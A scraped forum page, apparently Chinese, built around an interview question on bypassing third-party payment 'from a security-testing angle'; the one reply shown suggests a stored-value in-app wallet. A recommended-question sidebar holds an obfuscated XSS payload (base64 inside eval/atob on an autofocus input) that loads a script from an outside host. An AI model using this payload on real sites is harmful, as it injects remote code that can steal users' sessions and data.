极客观点
项目管理
HarmonyOS
购买东西，支付时如何绕过第三方支付？前辈们，面试遇到这个问题，你们怎么答？（安全测试角度）
撰写回答
你尚未登录，登录后可以
- 和开发者交流问题的细节
- 关注并接收问题和回答的更新提醒
- 参与内容的编辑和改进，让解决方法与时俱进
推荐问题
如何在 AMH 系统中解决 CSRF 提示问题?
请求被拒绝的可能1) 外部非法请求 amh_token 参数错误。2) 请求数据缺少 amh_token 参数。3) 面板页面 Javascript 脚本未加载完成时发起请求 amh_token 数据未载入。1 回答1.2k 阅读
不同系统可能使用不同的技术架构和数据库，在这种情况下，如何实现用户权限的统一管理？
不同系统可能采用不同的技术栈（如Java、Python、Node.js等）和数据库管理系统（如Oracle、MySQL、MongoDB等），导致权限管理模型和策略存在差异。由于系统间的异构性，权限管理分散，容易出现权限滥用、越权访问等安全隐患，威胁信息安全。697 阅读
xss无法显示？
'"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vdWouY2kveHdvIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== autofocus>60 阅读
宣传栏
如果你们公司有支付牌照，那简单，自己直接收款。但多半是没有支付牌照，可以自己做一个有储值功能的“假钱包”，尽量让用户充值进来，然后以后就可以从这个假钱包里扣款，跳过第三方支付。